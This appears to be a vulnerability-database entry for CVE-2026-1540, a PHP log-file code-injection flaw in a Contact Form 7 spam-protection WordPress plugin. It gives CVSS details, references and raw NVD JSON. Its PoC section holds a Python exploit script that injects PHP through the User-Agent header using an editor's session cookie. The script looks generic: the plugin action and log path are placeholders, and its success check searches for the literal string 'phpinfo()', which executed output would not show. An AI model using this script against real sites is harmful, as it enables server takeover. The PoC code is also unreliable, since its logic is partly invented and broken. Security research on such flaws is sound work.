CVE-2026-1540

Description

The Spam Protect for Contact Form 7 WordPress plugin before 1.2.10 allows logging to a PHP file, which could allow an attacker with editor access to achieve Remote Code Execution by using a crafted header

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Spam Protect for Contact Form 7 < 1.2.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
log_file_url = "http://example.com/wp-content/path/to/spam-protect-log.php"

# Attacker needs valid Editor/Admin cookies
cookies = {
    "wordpress_logged_in_xxx": "your_session_cookie_here"
}

# Malicious payload to be executed
# Using User-Agent header as the injection vector
payload = "<?php phpinfo(); ?>"
headers = {
    "User-Agent": payload
}

# Step 1: Trigger the logging mechanism
# This endpoint depends on the plugin's specific implementation
print("[*] Sending crafted request to inject payload...")
data = {"action": "some_plugin_action triggering log"}
r = requests.post(target_url, headers=headers, cookies=cookies, data=data)

if r.status_code == 200:
    print("[+] Request sent successfully.")
    
    # Step 2: Access the log file to trigger RCE
    print(f"[*] Accessing log file: {log_file_url}")
    exec_response = requests.get(log_file_url)
    
    if "phpinfo()" in exec_response.text:
        print("[+] Exploit successful! Code executed.")
    else:
        print("[-] Exploit failed or payload not triggered.")
else:
    print("[-] Failed to send initial request.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1540/
[4] VulDB https://vuldb.com/cve/CVE-2026-1540
[5] https://wpscan.com/vulnerability/ad00d1bb-ea8d-44a3-9064-6412804d9e95/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1540", "sourceIdentifier": "[email protected]", "published": "2026-04-02T06:16:22.337", "lastModified": "2026-04-15T15:05:47.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Spam Protect for Contact Form 7 WordPress plugin before 1.2.10 allows logging to a PHP file, which could allow an attacker with editor access to achieve Remote Code Execution by using a crafted header"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://wpscan.com/vulnerability/ad00d1bb-ea8d-44a3-9064-6412804d9e95/", "source": "[email protected]"}]}}